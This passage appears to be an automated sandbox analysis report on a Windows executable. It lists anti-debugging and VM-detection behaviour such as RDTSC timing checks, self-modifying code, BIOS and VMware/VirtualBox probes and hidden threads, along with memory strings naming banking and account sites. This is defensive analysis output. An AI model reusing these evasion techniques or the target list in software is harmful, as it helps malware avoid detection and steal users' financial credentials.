Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BA117A second address: 5BA119C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jnl 00007FC6DD08F7A2h 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007FC6DD08F796h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B9988D second address: 5B99894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B699D8 second address: 5B699EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6DD08F79Bh 0x00000009 jno 00007FC6DD08F796h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BA1920 second address: 5BA1924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BA1924 second address: 5BA192A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BA1C25 second address: 5BA1C54 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FC6DD698E61h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FC6DD698E64h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BA7EB2 second address: 5BA7EB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BAE479 second address: 5BAE47D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BAE47D second address: 5BAE489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BAD7ED second address: 5BAD7F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BAD7F1 second address: 5BAD7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BAD7FB second address: 5BAD813 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E62h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BAD813 second address: 5BAD85F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007FC6DD08F796h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jne 00007FC6DD08F7A2h 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c jmp 00007FC6DD08F7A8h 0x00000021 jo 00007FC6DD08F796h 0x00000027 popad 0x00000028 pushad 0x00000029 push eax 0x0000002a pop eax 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BAD9A9 second address: 5BAD9B5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC6DD698E5Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BADB0D second address: 5BADB13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BADB13 second address: 5BADB17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BAE29A second address: 5BAE29E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BAE29E second address: 5BAE2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC6DD698E63h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BAE2BD second address: 5BAE2C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BAE2C1 second address: 5BAE2E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FC6DD698E56h 0x00000010 jmp 00007FC6DD698E5Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB0184 second address: 5BB01C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F7A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jg 00007FC6DD08F796h 0x00000010 pop eax 0x00000011 popad 0x00000012 xor dword ptr [esp], 5D105469h 0x00000019 mov edi, dword ptr [ebp+122D2E30h] 0x0000001f push 9FB15E32h 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB01C1 second address: 5BB01C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB05AC second address: 5BB05B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB05B0 second address: 5BB05B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB065A second address: 5BB0660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB0660 second address: 5BB0664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB0EE9 second address: 5BB0EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB10BA second address: 5BB10C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB11D3 second address: 5BB11E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6DD08F79Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB1327 second address: 5BB1333 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB225E second address: 5BB22D5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FC6DD08F798h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007FC6DD08F798h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 00000018h 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 jc 00007FC6DD08F79Ch 0x00000048 sub dword ptr [ebp+122D2ED9h], edx 0x0000004e xchg eax, ebx 0x0000004f push esi 0x00000050 jmp 00007FC6DD08F7A0h 0x00000055 pop esi 0x00000056 push eax 0x00000057 je 00007FC6DD08F7A8h 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB22D5 second address: 5BB22D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB22D9 second address: 5BB22DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB47B1 second address: 5BB47D8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC6DD698E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FC6DD698E62h 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007FC6DD698E56h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB54C9 second address: 5BB54CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB5233 second address: 5BB5237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB5EAF second address: 5BB5EBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB68C2 second address: 5BB68C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB68C8 second address: 5BB68CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB68CC second address: 5BB6927 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FC6DD698E58h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 pushad 0x00000026 mov dword ptr [ebp+122D23B0h], ebx 0x0000002c xor dword ptr [ebp+12484FAFh], ebx 0x00000032 popad 0x00000033 push 00000000h 0x00000035 movsx edi, di 0x00000038 push 00000000h 0x0000003a jnp 00007FC6DD698E5Ch 0x00000040 mov esi, 65110B48h 0x00000045 xchg eax, ebx 0x00000046 push ecx 0x00000047 push eax 0x00000048 push edx 0x00000049 push ebx 0x0000004a pop ebx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BB6927 second address: 5BB6940 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC6DD08F796h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d ja 00007FC6DD08F798h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BBB423 second address: 5BBB427 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BBC342 second address: 5BBC347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BBC347 second address: 5BBC34C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BBB5C6 second address: 5BBB5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnl 00007FC6DD08F79Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BBB5DE second address: 5BBB5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BBF5F3 second address: 5BBF603 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F79Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BBF603 second address: 5BBF69E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC6DD698E64h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FC6DD698E58h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 jmp 00007FC6DD698E5Fh 0x0000002c push 00000000h 0x0000002e mov ebx, dword ptr [ebp+122D3D34h] 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007FC6DD698E58h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 mov edi, 218A6D00h 0x00000055 xchg eax, esi 0x00000056 pushad 0x00000057 push edi 0x00000058 jmp 00007FC6DD698E5Dh 0x0000005d pop edi 0x0000005e push eax 0x0000005f push edx 0x00000060 js 00007FC6DD698E56h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BBE694 second address: 5BBE698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Special instruction interceptor: First address: A533A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Special instruction interceptor: First address: 2E7BE7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Special instruction interceptor: First address: 59FDF4C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Special instruction interceptor: First address: 59FDE86 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Special instruction interceptor: First address: 5BA637E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Special instruction interceptor: First address: 5BCED5B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Special instruction interceptor: First address: 5C3C54A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Special instruction interceptor: First address: 5A0120E instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\RZnZbS97dD.exe TID: 2912	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe TID: 2688	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe TID: 7008	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe TID: 1424	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe TID: 2520	Thread sleep time: -30015s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\RZnZbS97dD.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: RZnZbS97dD.exe, 00000004.00000002.1714155516.0000000000238000.00000040.00000001.01000000.00000003.sdmp, RZnZbS97dD.exe, 00000004.00000003.1603041653.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1608579784.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000002.1723118864.0000000005B88000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: RZnZbS97dD.exe, 00000004.00000002.1716869125.0000000000A17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: RZnZbS97dD.exe, RZnZbS97dD.exe, 00000004.00000003.1608603642.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1447165788.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1673493853.0000000000A62000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1503865509.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1603210639.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000002.1717792796.0000000000A62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RZnZbS97dD.exe, 00000004.00000002.1721741458.0000000005190000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: RZnZbS97dD.exe, 00000004.00000003.1608603642.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1447165788.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1673493853.0000000000A62000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1503865509.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1603210639.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000002.1717792796.0000000000A62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: RZnZbS97dD.exe, 00000004.00000002.1714155516.0000000000238000.00000040.00000001.01000000.00000003.sdmp, RZnZbS97dD.exe, 00000004.00000002.1723118864.0000000005B88000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: RZnZbS97dD.exe, 00000004.00000003.1373302828.00000000051E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: RZnZbS97dD.exe	Binary or memory string: 6MIp1ME<a4+qeMup

Source: C:\Users\user\Desktop\RZnZbS97dD.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\RZnZbS97dD.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Open window title or class name: regmonclass
